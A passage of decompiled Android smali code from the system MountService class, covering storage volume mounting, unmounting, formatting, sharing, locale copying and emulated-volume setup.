Ljava/io/File;->getAbsolutePath()Ljava/lang/String; move-result-object v0 .line 3106 .local v0, "externalPath":Ljava/lang/String; invoke-static {}, Landroid/os/Environment;->getLegacyExternalStorageDirectory()Ljava/io/File; move-result-object v6 invoke-virtual {v6}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String; move-result-object v1 .line 3109 .local v1, "legacyExternalPath":Ljava/lang/String; invoke-virtual {v4, v0}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z move-result v6 if-eqz v6, :cond_2 .line 3110 invoke-virtual {v0}, Ljava/lang/String;->length()I move-result v6 add-int/lit8 v6, v6, 0x1 invoke-virtual {v4, v6}, Ljava/lang/String;->substring(I)Ljava/lang/String; move-result-object v4 .line 3118 :goto_1 const-string v2, "Android/obb" .line 3119 .local v2, "obbPath":Ljava/lang/String; const-string v6, "Android/obb" invoke-virtual {v4, v6}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z move-result v6 if-eqz v6, :cond_4 .line 3120 const-string v6, "Android/obb" invoke-virtual {v6}, Ljava/lang/String;->length()I move-result v6 add-int/lit8 v6, v6, 0x1 invoke-virtual {v4, v6}, Ljava/lang/String;->substring(I)Ljava/lang/String; move-result-object v4 .line 3122 new-instance v3, Landroid/os/Environment$UserEnvironment; invoke-direct {v3, v8}, Landroid/os/Environment$UserEnvironment;-><init>(I)V .line 3123 .local v3, "ownerEnv":Landroid/os/Environment$UserEnvironment; if-eqz p2, :cond_3 .line 3124 new-instance v6, Ljava/io/File; invoke-virtual {v3}, Landroid/os/Environment$UserEnvironment;->buildExternalStorageAndroidObbDirsForVold()[Ljava/io/File; move-result-object v7 aget-object v7, v7, v8 invoke-direct {v6, v7, v4}, Ljava/io/File;-><init>(Ljava/io/File;Ljava/lang/String;)V invoke-virtual {v6}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String; move-result-object p0 goto :goto_0 .line 3111 .end local v2 # "obbPath":Ljava/lang/String; .end local v3 # "ownerEnv":Landroid/os/Environment$UserEnvironment; :cond_2 invoke-virtual {v4, v1}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z move-result v6 if-eqz v6, :cond_0 .line 3112 invoke-virtual {v1}, Ljava/lang/String;->length()I move-result v6 add-int/lit8 v6, v6, 0x1 invoke-virtual {v4, v6}, Ljava/lang/String;->substring(I)Ljava/lang/String; move-result-object v4 goto :goto_1 .line 3127 .restart local v2 # "obbPath":Ljava/lang/String; .restart local v3 # "ownerEnv":Landroid/os/Environment$UserEnvironment; :cond_3 new-instance v6, Ljava/io/File; invoke-virtual {v3}, Landroid/os/Environment$UserEnvironment;->buildExternalStorageAndroidObbDirs()[Ljava/io/File; move-result-object v7 aget-object v7, v7, v8 invoke-direct {v6, v7, v4}, Ljava/io/File;-><init>(Ljava/io/File;Ljava/lang/String;)V invoke-virtual {v6}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String; move-result-object p0 goto :goto_0 .line 3133 .end local v3 # "ownerEnv":Landroid/os/Environment$UserEnvironment; :cond_4 if-eqz p2, :cond_5 .line 3134 new-instance v6, Ljava/io/File; invoke-static {p1}, Landroid/os/Environment;->getEmulatedStorageSource(I)Ljava/io/File; move-result-object v7 invoke-direct {v6, v7, v4}, Ljava/io/File;-><init>(Ljava/io/File;Ljava/lang/String;)V invoke-virtual {v6}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String; move-result-object p0 goto/16 :goto_0 .line 3136 :cond_5 new-instance v6, Ljava/io/File; invoke-virtual {v5}, Landroid/os/Environment$UserEnvironment;->getExternalDirsForApp()[Ljava/io/File; move-result-object v7 aget-object v7, v7, v8 invoke-direct {v6, v7, v4}, Ljava/io/File;-><init>(Ljava/io/File;Ljava/lang/String;)V invoke-virtual {v6}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String; move-result-object p0 goto/16 :goto_0 .end method .method private copyLocaleFromMountService()V .locals 7 .prologue .line 900 :try_start_0 const-string v4, "SystemLocale" invoke-virtual {p0, v4}, Lcom/android/server/MountService;->getField(Ljava/lang/String;)Ljava/lang/String; :try_end_0 .catch Landroid/os/RemoteException; {:try_start_0 .. :try_end_0} :catch_0 move-result-object v3 .line 904 .local v3, "systemLocale":Ljava/lang/String; invoke-static {v3}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z move-result v4 if-eqz v4, :cond_0 .line 922 .end local v3 # "systemLocale":Ljava/lang/String; :goto_0 return-void .line 901 :catch_0 move-exception v1 .line 902 .local v1, "e":Landroid/os/RemoteException; goto :goto_0 .line 908 .end local v1 # "e":Landroid/os/RemoteException; .restart local v3 # "systemLocale":Ljava/lang/String; :cond_0 const-string v4, "MountService" new-instance v5, Ljava/lang/StringBuilder; invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V const-string v6, "Got locale " invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v5 invoke-virtual {v5, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v5 const-string v6, " from mount service" invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v5 invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; move-result-object v5 invoke-static {v4, v5}, Landroid/util/Slog;->d(Ljava/lang/String;Ljava/lang/String;)I .line 909 invoke-static {v3}, Ljava/util/Locale;->forLanguageTag(Ljava/lang/String;)Ljava/util/Locale; move-result-object v2 .line 910 .local v2, "locale":Ljava/util/Locale; new-instance v0, Landroid/content/res/Configuration; invoke-direct {v0}, Landroid/content/res/Configuration;-><init>()V .line 911 .local v0, "config":Landroid/content/res/Configuration; invoke-virtual {v0, v2}, Landroid/content/res/Configuration;->setLocale(Ljava/util/Locale;)V .line 913 :try_start_1 invoke-static {}, Landroid/app/ActivityManagerNative;->getDefault()Landroid/app/IActivityManager; move-result-object v4 invoke-interface {v4, v0}, Landroid/app/IActivityManager;->updateConfiguration(Landroid/content/res/Configuration;)V :try_end_1 .catch Landroid/os/RemoteException; {:try_start_1 .. :try_end_1} :catch_1 .line 919 :goto_1 const-string v4, "MountService" new-instance v5, Ljava/lang/StringBuilder; invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V const-string v6, "Setting system properties to " invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v5 invoke-virtual {v5, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v5 const-string v6, " from mount service" invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v5 invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; move-result-object v5 invoke-static {v4, v5}, Landroid/util/Slog;->d(Ljava/lang/String;Ljava/lang/String;)I .line 920 const-string v4, "persist.sys.language" invoke-virtual {v2}, Ljava/util/Locale;->getLanguage()Ljava/lang/String; move-result-object v5 invoke-static {v4, v5}, Landroid/os/SystemProperties;->set(Ljava/lang/String;Ljava/lang/String;)V .line 921 const-string v4, "persist.sys.country" invoke-virtual {v2}, Ljava/util/Locale;->getCountry()Ljava/lang/String; move-result-object v5 invoke-static {v4, v5}, Landroid/os/SystemProperties;->set(Ljava/lang/String;Ljava/lang/String;)V goto :goto_0 .line 914 :catch_1 move-exception v1 .line 915 .restart local v1 # "e":Landroid/os/RemoteException; const-string v4, "MountService" const-string v5, "Error setting system locale from mount service" invoke-static {v4, v5, v1}, Landroid/util/Slog;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I goto :goto_1 .end method .method private createEmulatedVolumeForUserLocked(Landroid/os/UserHandle;)V .locals 6 .param p1, "user" # Landroid/os/UserHandle; .prologue .line 1474 iget-object v3, p0, Lcom/android/server/MountService;->mEmulatedTemplate:Landroid/os/storage/StorageVolume; if-nez v3, :cond_0 .line 1475 new-instance v3, Ljava/lang/IllegalStateException; const-string v4, "Missing emulated volume multi-user template" invoke-direct {v3, v4}, Ljava/lang/IllegalStateException;-><init>(Ljava/lang/String;)V throw v3 .line 1478 :cond_0 new-instance v1, Landroid/os/Environment$UserEnvironment; invoke-virtual {p1}, Landroid/os/UserHandle;->getIdentifier()I move-result v3 invoke-direct {v1, v3}, Landroid/os/Environment$UserEnvironment;-><init>(I)V .line 1479 .local v1, "userEnv":Landroid/os/Environment$UserEnvironment; invoke-virtual {v1}, Landroid/os/Environment$UserEnvironment;->getExternalStorageDirectory()Ljava/io/File; move-result-object v0 .line 1480 .local v0, "path":Ljava/io/File; iget-object v3, p0, Lcom/android/server/MountService;->mEmulatedTemplate:Landroid/os/storage/StorageVolume; invoke-static {v3, v0, p1}, Landroid/os/storage/StorageVolume;->fromTemplate(Landroid/os/storage/StorageVolume;Ljava/io/File;Landroid/os/UserHandle;)Landroid/os/storage/StorageVolume; move-result-object v2 .line 1481 .local v2, "volume":Landroid/os/storage/StorageVolume; const/4 v3, 0x0 invoke-virtual {v2, v3}, Landroid/os/storage/StorageVolume;->setStorageId(I)V .line 1482 invoke-direct {p0, v2}, Lcom/android/server/MountService;->addVolumeLocked(Landroid/os/storage/StorageVolume;)V .line 1484 iget-boolean v3, p0, Lcom/android/server/MountService;->mSystemReady:Z if-eqz v3, :cond_1 .line 1485 const-string v3, "mounted" invoke-direct {p0, v2, v3}, Lcom/android/server/MountService;->updatePublicVolumeState(Landroid/os/storage/StorageVolume;Ljava/lang/String;)V .line 1491 :goto_0 return-void .line 1488 :cond_1 iget-object v3, p0, Lcom/android/server/MountService;->mVolumeStates:Ljava/util/HashMap; invoke-virtual {v2}, Landroid/os/storage/StorageVolume;->getPath()Ljava/lang/String; move-result-object v4 const-string v5, "mounted" invoke-virtual {v3, v4, v5}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object; .line 1489 const-string v3, "mounted" invoke-virtual {v2, v3}, Landroid/os/storage/StorageVolume;->setState(Ljava/lang/String;)V goto :goto_0 .end method .method private disbaleEnableUMSAfterStorageChanged(Ljava/lang/String;)V .locals 2 .param p1, "state" # Ljava/lang/String; .prologue const/4 v1, 0x1 .line 805 const-string v0, "persist.sys.ums" invoke-static {v0, v1}, Landroid/os/SystemProperties;->getBoolean(Ljava/lang/String;Z)Z move-result v0 if-nez v0, :cond_1 .line 817 :cond_0 :goto_0 return-void .line 810 :cond_1 const-string v0, "shared" invoke-virtual {p1, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z move-result v0 if-eqz v0, :cond_2 .line 811 iget-boolean v0, p0, Lcom/android/server/MountService;->mUmsAvailable:Z if-nez v0, :cond_0 .line 812 const/4 v0, 0x0 invoke-virtual {p0, v0}, Lcom/android/server/MountService;->setUsbMassStorageEnabled(Z)V goto :goto_0 .line 814 :cond_2 const-string v0, "mounted" invoke-virtual {p1, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z move-result v0 if-eqz v0, :cond_0 iget-boolean v0, p0, Lcom/android/server/MountService;->mUmsAvailable:Z if-eqz v0, :cond_0 .line 815 invoke-virtual {p0, v1}, Lcom/android/server/MountService;->setUsbMassStorageEnabled(Z)V goto :goto_0 .end method .method private doFormatVolume(Ljava/lang/String;)I .locals 8 .param p1, "path" # Ljava/lang/String; .prologue const/4 v2, 0x0 .line 1248 :try_start_0 iget-object v3, p0, Lcom/android/server/MountService;->mConnector:Lcom/android/server/NativeDaemonConnector; const-string v4, "volume" const/4 v5, 0x2 new-array v5, v5, [Ljava/lang/Object; const/4 v6, 0x0 const-string v7, "format" aput-object v7, v5, v6 const/4 v6, 0x1 aput-object p1, v5, v6 invoke-virtual {v3, v4, v5}, Lcom/android/server/NativeDaemonConnector;->execute(Ljava/lang/String;[Ljava/lang/Object;)Lcom/android/server/NativeDaemonEvent; :try_end_0 .catch Lcom/android/server/NativeDaemonConnectorException; {:try_start_0 .. :try_end_0} :catch_0 .line 1257 :goto_0 return v2 .line 1250 :catch_0 move-exception v1 .line 1251 .local v1, "e":Lcom/android/server/NativeDaemonConnectorException; invoke-virtual {v1}, Lcom/android/server/NativeDaemonConnectorException;->getCode()I move-result v0 .line 1252 .local v0, "code":I const/16 v2, 0x191 if-ne v0, v2, :cond_0 .line 1253 const/4 v2, -0x2 goto :goto_0 .line 1254 :cond_0 const/16 v2, 0x193 if-ne v0, v2, :cond_1 .line 1255 const/4 v2, -0x4 goto :goto_0 .line 1257 :cond_1 const/4 v2, -0x1 goto :goto_0 .end method .method private doGetVolumeShared(Ljava/lang/String;Ljava/lang/String;)Z .locals 8 .param p1, "path" # Ljava/lang/String; .param p2, "method" # Ljava/lang/String; .prologue const/4 v2, 0x0 .line 1265 :try_start_0 iget-object v3, p0, Lcom/android/server/MountService;->mConnector:Lcom/android/server/NativeDaemonConnector; const-string v4, "volume" const/4 v5, 0x3 new-array v5, v5, [Ljava/lang/Object; const/4 v6, 0x0 const-string v7, "shared" aput-object v7, v5, v6 const/4 v6, 0x1 aput-object p1, v5, v6 const/4 v6, 0x2 aput-object p2, v5, v6 invoke-virtual {v3, v4, v5}, Lcom/android/server/NativeDaemonConnector;->execute(Ljava/lang/String;[Ljava/lang/Object;)Lcom/android/server/NativeDaemonEvent; :try_end_0 .catch Lcom/android/server/NativeDaemonConnectorException; {:try_start_0 .. :try_end_0} :catch_0 move-result-object v0 .line 1271 .local v0, "event":Lcom/android/server/NativeDaemonEvent; invoke-virtual {v0}, Lcom/android/server/NativeDaemonEvent;->getCode()I move-result v3 const/16 v4, 0xd4 if-ne v3, v4, :cond_0 .line 1272 invoke-virtual {v0}, Lcom/android/server/NativeDaemonEvent;->getMessage()Ljava/lang/String; move-result-object v2 const-string v3, "enabled" invoke-virtual {v2, v3}, Ljava/lang/String;->endsWith(Ljava/lang/String;)Z move-result v2 .line 1274 .end local v0 # "event":Lcom/android/server/NativeDaemonEvent; :cond_0 :goto_0 return v2 .line 1266 :catch_0 move-exception v1 .line 1267 .local v1, "ex":Lcom/android/server/NativeDaemonConnectorException; const-string v3, "MountService" new-instance v4, Ljava/lang/StringBuilder; invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V const-string v5, "Failed to read response to volume shared " invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v4 invoke-virtual {v4, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v4 const-string v5, " " invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v4 invoke-virtual {v4, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v4 invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; move-result-object v4 invoke-static {v3, v4}, Landroid/util/Slog;->e(Ljava/lang/String;Ljava/lang/String;)I goto :goto_0 .end method .method private doMountVolume(Ljava/lang/String;)I .locals 10 .param p1, "path" # Ljava/lang/String; .prologue .line 1133 const/4 v3, 0x0 .line 1136 .local v3, "rc":I iget-object v6, p0, Lcom/android/server/MountService;->mVolumesLock:Ljava/lang/Object; monitor-enter v6 .line 1137 :try_start_0 iget-object v5, p0, Lcom/android/server/MountService;->mVolumesByPath:Ljava/util/HashMap; invoke-virtual {v5, p1}, Ljava/util/HashMap;->get(Ljava/lang/Object;)Ljava/lang/Object; move-result-object v4 check-cast v4, Landroid/os/storage/StorageVolume; .line 1138 .local v4, "volume":Landroid/os/storage/StorageVolume; invoke-virtual {v4}, Landroid/os/storage/StorageVolume;->getIsFormatting()Z move-result v5 if-eqz v5, :cond_0 .line 1139 const/4 v5, -0x7 monitor-exit v6 .line 1190 :goto_0 return v5 .line 1141 :cond_0 monitor-exit v6 :try_end_0 .catchall {:try_start_0 .. :try_end_0} :catchall_0 .line 1143 invoke-virtual {v4}, Landroid/os/storage/StorageVolume;->isEmulated()Z move-result v5 if-nez v5, :cond_1 const-string v5, "no_physical_media" invoke-direct {p0, v5}, Lcom/android/server/MountService;->hasUserRestriction(Ljava/lang/String;)Z move-result v5 if-eqz v5, :cond_1 .line 1144 const-string v5, "MountService" const-string v6, "User has restriction DISALLOW_MOUNT_PHYSICAL_MEDIA; cannot mount volume." invoke-static {v5, v6}, Landroid/util/Slog;->w(Ljava/lang/String;Ljava/lang/String;)I .line 1145 const/4 v5, -0x1 goto :goto_0 .line 1141 .end local v4 # "volume":Landroid/os/storage/StorageVolume; :catchall_0 move-exception v5 :try_start_1 monitor-exit v6 :try_end_1 .catchall {:try_start_1 .. :try_end_1} :catchall_0 throw v5 .line 1150 .restart local v4 # "volume":Landroid/os/storage/StorageVolume; :cond_1 :try_start_2 iget-object v5, p0, Lcom/android/server/MountService;->mConnector:Lcom/android/server/NativeDaemonConnector; const-string v6, "volume" const/4 v7, 0x2 new-array v7, v7, [Ljava/lang/Object; const/4 v8, 0x0 const-string v9, "mount" aput-object v9, v7, v8 const/4 v8, 0x1 aput-object p1, v7, v8 invoke-virtual {v5, v6, v7}, Lcom/android/server/NativeDaemonConnector;->execute(Ljava/lang/String;[Ljava/lang/Object;)Lcom/android/server/NativeDaemonEvent; :try_end_2 .catch Lcom/android/server/NativeDaemonConnectorException; {:try_start_2 .. :try_end_2} :catch_0 :cond_2 :goto_1 move v5, v3 .line 1190 goto :goto_0 .line 1151 :catch_0 move-exception v2 .line 1155 .local v2, "e":Lcom/android/server/NativeDaemonConnectorException; const/4 v0, 0x0 .line 1156 .local v0, "action":Ljava/lang/String; invoke-virtual {v2}, Lcom/android/server/NativeDaemonConnectorException;->getCode()I move-result v1 .line 1157 .local v1, "code":I const/16 v5, 0x191 if-ne v1, v5, :cond_3 .line 1161 const/4 v3, -0x2 .line 1185 :goto_2 if-eqz v0, :cond_2 .line 1186 sget-object v5, Landroid/os/UserHandle;->ALL:Landroid/os/UserHandle; invoke-direct {p0, v0, v4, v5}, Lcom/android/server/MountService;->sendStorageIntent(Ljava/lang/String;Landroid/os/storage/StorageVolume;Landroid/os/UserHandle;)V goto :goto_1 .line 1162 :cond_3 const/16 v5, 0x192 if-ne v1, v5, :cond_4 .line 1167 const-string v5, "nofs" invoke-direct {p0, v4, v5}, Lcom/android/server/MountService;->updatePublicVolumeState(Landroid/os/storage/StorageVolume;Ljava/lang/String;)V .line 1168 const-string v0, "android.intent.action.MEDIA_NOFS" .line 1169 const/4 v3, -0x3 goto :goto_2 .line 1170 :cond_4 const/16 v5, 0x193 if-ne v1, v5, :cond_5 .line 1175 const-string v5, "unmountable" invoke-direct {p0, v4, v5}, Lcom/android/server/MountService;->updatePublicVolumeState(Landroid/os/storage/StorageVolume;Ljava/lang/String;)V .line 1176 const-string v0, "android.intent.action.MEDIA_UNMOUNTABLE" .line 1177 const/4 v3, -0x4 goto :goto_2 .line 1179 :cond_5 const/4 v3, -0x1 goto :goto_2 .end method .method private doShareUnshareVolume(Ljava/lang/String;Ljava/lang/String;Z)V .locals 6 .param p1, "path" # Ljava/lang/String; .param p2, "method" # Ljava/lang/String; .param p3, "enable" # Z .prologue const/4 v3, 0x1 const/4 v4, 0x0 .line 740 const-string v1, "ums" invoke-virtual {p2, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z move-result v1 if-nez v1, :cond_0 .line 741 new-instance v1, Ljava/lang/IllegalArgumentException; const-string v2, "Method %s not supported" new-array v3, v3, [Ljava/lang/Object; aput-object p2, v3, v4 invoke-static {v2, v3}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String; move-result-object v2 invoke-direct {v1, v2}, Ljava/lang/IllegalArgumentException;-><init>(Ljava/lang/String;)V throw v1 .line 745 :cond_0 :try_start_0 iget-object v2, p0, Lcom/android/server/MountService;->mConnector:Lcom/android/server/NativeDaemonConnector; const-string v3, "volume" const/4 v1, 0x3 new-array v4, v1, [Ljava/lang/Object; const/4 v5, 0x0 if-eqz p3, :cond_1 const-string v1, "share" :goto_0 aput-object v1, v4, v5 const/4 v1, 0x1 aput-object p1, v4, v1 const/4 v1, 0x2 aput-object p2, v4, v1 invoke-virtual {v2, v3, v4}, Lcom/android/server/NativeDaemonConnector;->execute(Ljava/lang/String;[Ljava/lang/Object;)Lcom/android/server/NativeDaemonEvent; .line 749 :goto_1 return-void .line 745 :cond_1 const-string v1, "unshare" :try_end_0 .catch Lcom/android/server/NativeDaemonConnectorException; {:try_start_0 .. :try_end_0} :catch_0 goto :goto_0 .line 746 :catch_0 move-exception v0 .line 747 .local v0, "e":Lcom/android/server/NativeDaemonConnectorException; const-string v1, "MountService" const-string v2, "Failed to share/unshare" invoke-static {v1, v2, v0}, Landroid/util/Slog;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I goto :goto_1 .end method .method private doUnmountVolume(Ljava/lang/String;ZZ)I .locals 9 .param p1, "path" # Ljava/lang/String; .param p2, "force" # Z .param p3, "removeEncryption" # Z .prologue const/16 v3, 0x194 const/4 v4, 0x0 .line 1205 invoke-virtual {p0, p1}, Lcom/android/server/MountService;->getVolumeState(Ljava/lang/String;)Ljava/lang/String; move-result-object v5 const-string v6, "mounted" invoke-virtual {v5, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z move-result v5 if-nez v5, :cond_0 .line 1241 :goto_0 return v3 .line 1215 :cond_0 invoke-static {}, Ljava/lang/Runtime;->getRuntime()Ljava/lang/Runtime; move-result-object v5 invoke-virtual {v5}, Ljava/lang/Runtime;->gc()V .line 1218 iget-object v5, p0, Lcom/android/server/MountService;->mPms:Lcom/android/server/pm/PackageManagerService; invoke-virtual {v5, v4, v4}, Lcom/android/server/pm/PackageManagerService;->updateExternalMediaStatus(ZZ)V .line 1220 :try_start_0 new-instance v0, Lcom/android/server/NativeDaemonConnector$Command; const-string v5, "volume" const/4 v6, 0x2 new-array v6, v6, [Ljava/lang/Object; const/4 v7, 0x0 const-string v8, "unmount" aput-object v8, v6, v7 const/4 v7, 0x1 aput-object p1, v6, v7 invoke-direct {v0, v5, v6}, Lcom/android/server/NativeDaemonConnector$Command;-><init>(Ljava/lang/String;[Ljava/lang/Object;)V .line 1221 .local v0, "cmd":Lcom/android/server/NativeDaemonConnector$Command; if-eqz p3, :cond_2 .line 1222 const-string v5, "force_and_revert" invoke-virtual {v0, v5}, Lcom/android/server/NativeDaemonConnector$Command;->appendArg(Ljava/lang/Object;)Lcom/android/server/NativeDaemonConnector$Command; .line 1226 :cond_1 :goto_1 iget-object v5, p0, Lcom/android/server/MountService;->mConnector:Lcom/android/server/NativeDaemonConnector; invoke-virtual {v5, v0}, Lcom/android/server/NativeDaemonConnector;->execute(Lcom/android/server/NativeDaemonConnector$Command;)Lcom/android/server/NativeDaemonEvent; .line 1228 iget-object v5, p0, Lcom/android/server/MountService;->mAsecMountSet:Ljava/util/HashSet; monitor-enter v5 :try_end_0 .catch Lcom/android/server/NativeDaemonConnectorException; {:try_start_0 .. :try_end_0} :catch_0 .line 1229 :try_start_1 iget-object v6, p0, Lcom/android/server/MountService;->mAsecMountSet:Ljava/util/HashSet; invoke-virtual {v6}, Ljava/util/HashSet;->clear()V .line 1230 monitor-exit v5 :try_end_1 .catchall {:try_start_1 .. :try_end_1} :catchall_0 move v3, v4 .line 1231 goto :goto_0 .line 1223 :cond_2 if-eqz p2, :cond_1 .line 1224 :try_start_2 const-string v5, "force" invoke-virtual {v0, v5}, Lcom/android/server/NativeDaemonConnector$Command;->appendArg(Ljava/lang/Object;)Lcom/android/server/NativeDaemonConnector$Command; :try_end_2 .catch Lcom/android/server/NativeDaemonConnectorException; {:try_start_2 .. :try_end_2} :catch_0 goto :goto_1 .line 1232 .end local v0 # "cmd":Lcom/android/server/NativeDaemonConnector$Command; :catch_0 move-exception v2 .line 1235 .local v2, "e":Lcom/android/server/NativeDaemonConnectorException; invoke-virtual {v2}, Lcom/android/server/NativeDaemonConnectorException;->getCode()I move-result v1 .line 1236 .local v1, "code":I if-ne v1, v3, :cond_3 .line 1237 const/4 v3, -0x5 goto :goto_0 .line 1230 .end local v1 # "code":I .end local v2 # "e":Lcom/android/server/NativeDaemonConnectorException; .restart local v0 # "cmd":Lcom/android/server/NativeDaemonConnector$Command; :catchall_0 move-exception v4 :try_start_3 monitor-exit v5 :try_end_3 .catchall {:try_start_3 .. :try_end_3} :catchall_0 :try_start_4 throw v4 :try_end_4 .catch Lcom/android/server/NativeDaemonConnectorException; {:try_start_4 .. :try_end_4} :catch_0 .line 1238 .end local v0 # "cmd":Lcom/android/server/NativeDaemonConnector$Command; .restart local v1 # "code":I .restart local v2 # "e":Lcom/android/server/NativeDaemonConnectorException; :cond_3 const/16 v3, 0x195 if-ne v1, v3, :cond_4 .line 1239 const/4 v3, -0x7 goto :goto_0 .line 1241 :cond_4 const/4 v3, -0x1 goto :goto_0 .end method .method private fromHex(Ljava/lang/String;)Ljava/lang/String; .locals 5 .param p1, "hexPassword" # Ljava/lang/String; .prologue const/4 v2, 0x0 .line 2281 if-nez p1, :cond_0 .line 2289 :goto_0 return-object v2 .line 2286 :cond_0 :try_start_0 invoke-virtual {p1}, Ljava/lang/String;->toCharArray()[C move-result-object v3 invoke-static {v3}, Lorg/apache/commons/codec/binary/Hex;->decodeHex([C)[B move-result-object v0 .line 2287 .local v0, "bytes":[B new-instance v3, Ljava/lang/String; sget-object v4, Ljava/nio/charset/StandardCharsets;->UTF_8:Ljava/nio/charset/Charset; invoke-direct {v3, v0, v4}, Ljava/lang/String;-><init>([BLjava/nio/charset/Charset;)V :try_end_0 .catch Lorg/apache/commons/codec/DecoderException; {:try_start_0 .. :try_end_0} :catch_0 move-object v2, v3 goto :goto_0 .line 2288 .end local v0 # "bytes":[B :catch_0 move-exception v1 .line 2289 .local v1, "e":Lorg/apache/commons/codec/DecoderException; goto :goto_0 .end method .method private getPrimaryPhysicalVolume()Landroid/os/storage/StorageVolume; .locals 4 .prologue .line 1511 iget-object v3, p0, Lcom/android/server/MountService;->mVolumesLock:Ljava/lang/Object; monitor-enter v3 .line 1512 :try_start_0 iget-object v2, p0, Lcom/android/server/MountService;->mVolumes:Ljava/util/ArrayList; invoke-virtual {v2}, Ljava/util/ArrayList;->iterator()Ljava/util/Iterator; move-result-object v0 .local v0, "i$":Ljava/util/Iterator; :cond_0 invoke-interface {v0}, Ljava/util/Iterator;->hasNext()Z move-result v2 if-eqz v2, :cond_1 invoke-interface {v0}, Ljava/util/Iterator;->next()Ljava/lang/Object; move-result-object v1 check-cast v1, Landroid/os/storage/StorageVolume; .line 1513 .local v1, "volume":Landroid/os/storage/StorageVolume; invoke-virtual {v1}, Landroid/os/storage/StorageVolume;->isPrimary()Z move-result v2 if-eqz v2, :cond_0 invoke-virtual {v1}, Landroid/os/storage/StorageVolume;->isEmulated()Z move-result v2 if-nez v2, :cond_0 .line 1514 monitor-exit v3 .line 1518 .end local v1 # "volume":Landroid/os/storage/StorageVolume; :goto_0 return-object v1 .line 1517 :cond_1 monitor-exit v3 .line 1518 const/4 v1, 0x0 goto :goto_0 .line 1517 .end local v0 # "i$":Ljava/util/Iterator; :catchall_0 move-exception v2 monitor-exit v3 :try_end_0 .catchall {:try_start_0 .. :try_end_0} :catchall_0 throw v2 .end method .method private getShareableVolumes()Ljava/util/ArrayList; .locals 5 .annotation system Ldalvik/annotation/Signature; value = { "()", "Ljava/util/ArrayList", "<", "Ljava/lang/String;", ">;" } .end annotation .prologue .line 1705 new-instance v2, Ljava/util/ArrayList; invoke-direct {v2}, Ljava/util/ArrayList;-><init>()V .line 1706 .local v2, "volumesToMount":Ljava/util/ArrayList;, "Ljava/util/ArrayList<Ljava/lang/String;>;" iget-object v4, p0, Lcom/android/server/MountService;->mVolumes:Ljava/util/ArrayList; monitor-enter v4 .line 1707 :try_start_0 iget-object v3, p0, Lcom/android/server/MountService;->mVolumes:Ljava/util/ArrayList; invoke-virtual {v3}, Ljava/util/ArrayList;->iterator()Ljava/util/Iterator; move-result-object v0 .local v0, "i$":Ljava/util/Iterator; :cond_0 :goto_0 invoke-interface {v0}, Ljava/util/Iterator;->hasNext()Z move-result v3 if-eqz v3, :cond_1 invoke-interface {v0}, Ljava/util/Iterator;->next()Ljava/lang/Object; move-result-object v1 check-cast v1, Landroid/os/storage/StorageVolume; .line 1708 .local v1, "v":Landroid/os/storage/StorageVolume; invoke-virtual {v1}, Landroid/os/storage/StorageVolume;->allowMassStorage()Z move-result v3 if-eqz v3, :cond_0 .line 1709 invoke-virtual {v1}, Landroid/os/storage/StorageVolume;->getPath()Ljava/lang/String; move-result-object v3 invoke-virtual {v2, v3}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z goto :goto_0 .line 1712 .end local v0 # "i$":Ljava/util/Iterator; .end local v1 # "v":Landroid/os/storage/StorageVolume; :catchall_0 move-exception v3 monitor-exit v4 :try_end_0 .catchall {:try_start_0 .. :try_end_0} :catchall_0 throw v3 .restart local v0 # "i$":Ljava/util/Iterator; :cond_1 :try_start_1 monitor-exit v4 :try_end_1 .catchall {:try_start_1 .. :try_end_1} :catchall_0 .line 1713 return-object v2 .end method .method private getUmsEnabling()Z .locals 2 .prologue .line 1692 iget-object v1, p0, Lcom/android/server/MountService;->mListeners:Ljava/util/ArrayList; monitor-enter v1 .line 1693 :try_start_0 iget-boolean v0, p0, Lcom/android/server/MountService;->mUmsEnabling:Z monitor-exit v1 return v0 .line 1694 :catchall_0 move-exception v0 monitor-exit v1 :try_end_0 .catchall {:try_start_0 .. :try_end_0} :catchall_0 throw v0 .end method .method private handleSystemReady()V .locals 13 